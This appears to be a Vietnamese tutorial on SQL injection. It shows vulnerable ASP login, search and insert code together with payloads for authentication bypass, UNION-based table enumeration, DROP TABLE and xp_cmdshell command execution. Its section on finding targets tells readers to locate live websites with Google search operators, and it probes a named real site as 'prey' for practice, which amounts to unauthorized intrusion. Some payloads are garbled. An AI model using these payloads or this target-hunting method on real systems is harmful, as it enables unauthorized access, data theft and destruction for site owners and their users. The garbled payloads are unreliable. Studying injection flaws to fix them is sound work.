Thế nào là Sql Injection, tấn công Sql Injection là gì, các phương pháp tấn công Sql Injection phổ biến, các công cụ trong tấn công website bằng Sql Injection. Cách phát hiện trang web bị lỗi sql injection và cách khai thác.
Trang 1TÌM HIỂU VỀ TẤN CÔNG SQL INJECTION
TÌM HIỂU VỀ SQL INJECTION
1. SQL Injection là gì?
1.1. Khái niệm SQL Injection
Việc thiết kế và đưa website vào hoạt động luôn đòi hỏi các nhà phát triển phải quan tâm đến vấn đề về an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tin tặc tấn công Thường các nhà phát triển tập trung vào các vấn đề an toàn của hệ điều hành, hệ quản trị CSDL, webserver… Chẳng hạn như hổng bảo mật trên IIS Tuy nhiên, có một nguy cơ tiềm ẩn ít được quan tâm đó là các đoạn mã của ứng dụng Một trong số đó là tấn công bằng SQL Injection
SQL Injection là cách thức tấn công vào lỗ hổng của website nhằm vào được cơ sở
dữ liệu, bằng cách chèn thêm một đoạn query của SQL để làm sai lệch câu lệnh truy vấn, từ đó có thể phá hủy website hoặc lấy cơ sở dữ liệu
Hình thái chính của SQL Injection bao gồm việc chèn trực tiếp mã vào các
Trang 2SQL động) để tạo thành truy vấn của ứng dụng gửi tới máy chủ database Một cách tấn công khác ít trực tiếp hơn, đó là chèn mã độc vào các xâu mà đích đến là việc lưu trữ trong các bảng hoặc từ điển dữ liệu (metadata) Khi các chuỗi đó được ghép vào các câu lệnh SQL thì đoạn mã đó sẽ được chạy
Khi ứng dụng Web thất bại trong việc lọc các tham số đầu vào (được dùng làm nguyên liệu cho quá trình sinh SQL động), ngay cả khi dùng hình thức tham số hóa (parameterize) thì kẻ tấn công có thể dễ dàng điều chỉnh quá trình xây dựng truy vấn SQL Một khi kẻ tấn công có thể sửa câu truy vấn SQL, thì những truy vấn SQL anh ta muốn sẽ được thực thi với quyền của người sở hữu ứng dụng, và thiệt hại anh ta cỏ thể gây ra sẽ tùy theo quyền hạn được cấp
SQL Injection là một dạng tấn công dễ thực hiện, hầu hết mọi thao tác người tấn công cần được thực hiện vói một trình duyệt web, cỏ thể kèm theo một ứng dụng proxy server Chính vi đơn giản như vậy cho nên bất cứ ai cũng có thể học cách tiến hành một cuộc tấn công Lỗi bắt nguồn từ mã nguồn của ứng dụng web chứ không phải từ phía database, chính vì thế bất cử thảnh phần nào của ứng dụng
mà người dùng có thể tương tác được để điều khiển nội dung (ví dụ : các form, tham số URL, cookie, tham số referrer, user-agent, ) đều có thể được sử dụng để tiến hành chèn truy vấn có hại
Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase…
Trang 31.2. Mục đích của tấn công SQL Injection
Mục đích chính của SQL injection là truy cập vào cơ sở dữ liệu bất hợp pháp hoặc khai thác thông tin từ các cơ sở dữ liệu đó
Dựa trên cách sử dụng và xử lý dữ liệu người dùng cung cấp, SQL injection
có thể được sử dụng để thực hiện các kiểu tấn công sau:
• Authentication Bypass: hacker có thể đăng nhập vào ứng dụng mà không cần cung cấp username và password, thậm chí có thể chiếm quyền quản trị
• Information Disclosure: người tấn công lấy các thông tin nhạy cảm được lưu giữ trên cơ sở dữ liệu
• Compromised Data Integrity: thực hiện deface trang web, chèn nội dung độc hại lên trang web, hoặc thay đổi nội dung cơ sở dữ liệu
• Compromised Availability of Data: người tấn công xóa thông tin trên cơ sở
dữ liệu, xóa log, hoặc thông tin kiểm chứng trên cơ sở dữ liệu
• Remote Code Execution: cho phép người tấn công làm hại hệ thống của host
1.3. SQL Injection và vấn đề an ninh cơ sở dữ liệu
a. Các thống kê về an ninh
Trang 4Chúng ta xem xét các báo cáo an ninh của các ứng dụng Web gần đây của Whitehat, một tổ chức có uy tín trong việc nghiên cứu và hỗ trợ các vấn đề an ninh mạng
Thống kê 10 lỗi bảo mật nghiêm trọng nhất
Trích từ nguồn:
http://community whitehatsec.com/home/resource/stats html
Kết quả thống kê trình bày tháng 3/2008:
10 điểm yếu phổ biến nhất năm 2008
Kết quả thống kê trình bày tháng 2/2009:
Trang 5 Thống kê thời gian trung bình cần để khắc phục các lỗi bảo mật trên
Kết quả thống kê trình bày tháng 8/2008:
Kết quả thống kê trình bày tháng 2/2009:
Trang 6 Thống kê tỉ lệ điểm yếu thường xuyên bị khai thác
Thống kê được trích trong một bài báo đãng trên tạp chí computerworld tháng 2/2010
b. Đánh giá các kết quả thống kê
Dựa vào các thống kê trên cỗ thể rút ra vài nhận xét sau về lỗi SQL Injection:
• Là một trong số những lỗi bảo mật phổ biến nhất
• Xác suất gặp phải lỗ hổng bảo mật loại này trong một trang web là khá cao
• Được sử dụng nhiều, lý do một phần bởi tính đơn giản, không đòi hỏi nhiều công cụ hỗ trợ
• Thời gian khắc phục các điểm yếu này thường khá lâu, do đó hậu quả thường nặng nề hơn
Trên thực tế, các cuộc tấn công SQL Injection thường nhắm đến các cơ sở
dữ liệu mang tính thương mại, ví dụ các Trang web thương mại điện tử Thông thường, các cuộc tấn công này thường sẽ tiến hành việc sửa đổi nội dung của database đối tượng và chèn các đoạn mã JavaScript độc Bản chất điểm yếu SQL Injection là xuất hiện từ trong quá trình xử lý dữ liệu input của người dùng bên trong mã nguồn, do chính thời gian bảo trì mã nguồn thường kéo dài nên các lỗi
Trang 7SQL Injection cũng chậm được khắc phục triệt để.
Với tính nghiêm trọng của các cuộc tấn công, tính dễ thực hiện một cuộc tấn công đã khiến cho SQL Injection một thời từng là hiểm họa nghiêm trọng đối với các giao dịch thương mại điện tử trên các ứng dụng Web được phát triển thiếu an toàn Hiện nay, việc nghiên cứu SQL Injection đã có hệ thống và toàn diện hơn, mối nguy hiểm này đã giảm đi, nhưng số liệu thống kê vẫn cho thấy vấn đề này còn chưa được giải quyết triệt để
2. Các dạng tấn công SQL Injection phổ biến
2.1. Dạng tấn công vượt qua kiểm tra lúc đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu Sau khi người dùng nhập thông tin vào, hệ thống
sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp
Dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng bằng cách truyền vào một input hợp lệ, các truy vấn này luôn trả về kết quả đúng (true) hoặc có điều kiện luôn đúng, vì thế kẻ tấn công dễ dàng vượt qua module đăng nhập để truy cập trái phép vào hệ thống thông tin
Ví dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang: 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người dùng như sau:
Trang 8- Trang nhập liệu: login.htm
<formaction= "ExecLogin.asp" method= "post" >
Username: <input type= "text" name= "fUSRNAME" ><br />
Password: <input type= "password" name= "fPASSWORD" ><br />
<input type= "submit" >
</form>
- Trang xử lý nhập liệu: execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form( "fUSRNAME" )
vPassword = Request.Form( "fPASSWORD" )
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject( "ADODB.Recordset" )
objRS.Open strSQL, "DSN= "
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS( "USR_NAME" )
End If
Set objRS = Nothing %>
Chỗ sơ hở trong đoạn mã xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL Chính điều này cho phép tin tặc có thể điều khiển câu truy vấn sẽ được thực hiện Ví dụ, nếu người dùng nhập chuỗi trong ngoặc sau vào trong cả 2 ô nhập liệu username/password
của trang login.htm là:(‘’ OR ‘1’=’1’) Lúc này, câu truy vấn sẽ được gọi thực hiện
là:
Trang 9SELECT * FROM T_USERS WHERE USR_NAME =’’ OR ‘1’=’1’ and USR_PASSWORD= ’’ OR
‘1’= ’1’
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ
2.2. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công Ví dụ, trong các trang tìm kiếm Các trang này cho phép người dùng nhập vào các thông tin tìm kiếm như
Họ, Tên,… Đoạn mã thường gặp là:
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _ vAuthorName &
" ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
…
Set objRS = Nothing %>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:
Trang 10' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa Giả sử đoạn mã nhập vào là:
' DROP TABLE T_AUTHORS
Câu truy vấn sẽ thực hiện việc xóa bảng
2.3. Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào
Xét ví dụ sau: mẫu form dùng để đăng kí tài khoản như sau:
Trang 11Khi đó câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')
Nếu đoạn mã xây dựng câu lệnh SQL có dạng:
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
…
Set objRS = Nothing %>
Thì chắc chắn sẽ bị lỗi SQL, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:
' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là:
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')
Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là:
SELECT TOP 1 FieldName FROM TableName
Vậy làm thế nào có thể biết được tên của các bảng dữ liệu mà thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL injection Rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có trong hệ thống Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ như:
Trang 12‘UNION SELECT name FROM sysobjects WHERE xtype = ‘U’’ là có thể liệt kê được tên tất cả các bảng dữ liệu
2.4. Dạng tấn công sử dụng stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'
Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: '; EXEC xp_cmdshell ‘cmdd.exe dir C: ' Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe
Nếu cài SQL Server ở chế độ mặc định thì SQL Server chạy trên nền SYSTEM, tương đương mức truy cập ở Windows Có thể dùng master xp_cmdshell để thi hành lệnh từ xa:
;exec master xp_cmdshell ‘ping 10.10.1.2’—
Thử dùng nháy đôi (“) nếu nháy đơn (‘) không làm việc
Dưới đây là một số extended stored procedure mà hacker thường sử dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn nhân:
• Xp_availablemedia: Hiển thị những ổ đĩa hiện hành trên máy
• Xp_dirtree: Hiển thị tất cả thư mục kể cả thư mục con
• Xp_loginconfig: Lấy thông tin về chế độ bảo mật trên Server
• Xp_makecad: Cho phép người sử dụng tạo các tập tin lưu trữ trên Server (hay bất cứ tập tin nào mà Server có thể truy xuất)
• Xp_ntsec_enumdomain: liệt kê những domain mà Server có thể truy xuất
3. Kỹ thuật tấn công SQL Injection
3.1. Tìm kiếm mục tiêu
Hiện nay thì hầu như việc lập trình website không dựa vào việc viết từng dòng code mà đều sử dụng các framework, bản thân các framework này đều đã tích hợp bảo mật ở mức cơ bản nên SQL Injection hầu như không còn đất sống nếu website được xây dựng dựa trên các framework này
Trang 13Tuy vậy, vẫn còn hàng triệu website ngoài kia có thể bị lỗi này nên việc đầu tiên chúng ta phải làm là tìm một website tiềm năng để thực hành Việc tìm kiếm khá
đơn giản, các bạn hãy vào Google và gõ dòng lệnh sau: inurl:"product.php?id="
Lệnh này sẽ trả về các kết quả tìm kiếm là các website bán hàng được viết bằng PHP, nhiều khả năng vẫn còn dính lỗi SQL Injection Hoặc bạn có thể gõ:
inurl:"product.php?id=" site:vn
Để tìm kiếm chỉ những trang web có nguồn gốc từ Việt Nam
Ví dụ chúng ta tìm được một trang như sau:
http://biohd.com.vn/product_detail.php?id=158
Để biết trang này có bị lỗi hay không, tôi thêm một dấu nháy đơn vào cuối địa chỉ
trang web:
http://biohd.com.vn/product_detail.php?id=158'
Nếu không thấy thông báo lỗi này và trang web vẫn load lại bình thường chứng tỏ
nó đã miễn nhiễm với SQL Injection, các bạn hãy tìm trang khác, còn nếu giao diện trang web bị lỗi bất thường như sau, chứng tỏ chúng ta đã tìm được "con mồi":
Trang 143.2. Phát hiện
Một cách thông thường, để phát hiện một ứng dụng web có dính lỗi SQL
Injection hay không là thêm vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng hạn như dấu nháy đơn (single quote), dấu nháy kép (double
quote), dấu chấm phẩy (semi colon) và các ký tự comment ( , ##, /**/)… và chờ xem
ứng dụng web sẽ xứ lý câu truy vấn đó như thế nào
Ví dụ khi muốn xem item có id =2 ta request tới liên kết
http://site/item.php?id=2 Để xem liên kết này có dính lỗi SQL Injection hay
không ta thêm vào cuối liên kết một trong các meta character đã nói ở trên, chẳng
hạn ta thêm vào dấu nháy đơn http://site/item.php?id=2’ Nếu như ứng dụng web
vẫn trả về cho chúng ta nội dung của item có id=2 hoặc đưa ra một thông báo về việc không tìm được item hoặc đưa chúng ta tới một trang khác (một trang thông
báo lỗi mặc định hay trang chủ chẳng hạn), như vậy ta có thể kết luận rằng ứng
dụng đã xứ lý tốt tham số đầu vào trước khi thao tác cơ sở dữ liệu Ngược lại, nếu
thấy xuất hiện một thông báo lỗi (exception) từ MySQL, MSSQL… thì ứng dụng
web đã dính lỗi SQL Injection
3.3. Thu thập các dữ liệu quan trọng
- Xác định số lượng cột trong mệnh đề select
Khi khai thác SQLInjection, chúng ta thường sử dụng một hay nhiều mệnh đề
select phụ(subselect), điều này được thực hiện thông qua từ khóa union Union là
từ khóa dùng để gộp kết quả của nhiều mệnh đề select do đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải bằng nhau và đều bằng số lượng các trường được select trong mệnh đề select ban đầu
Nếu số trường select ở mệnh đề select sau union không bằng số lượng các trường được select trong mệnh đề select đầu tiên, chúng ta sẽ nhận được thông báo lỗi Vậy làm sao để biết để biết được chính xác mệnh đề select đầu tiền chọn ra bao nhiêu trường Chúng ta có thể thực hiện thử dần bằng cách tăng dần số lượng cột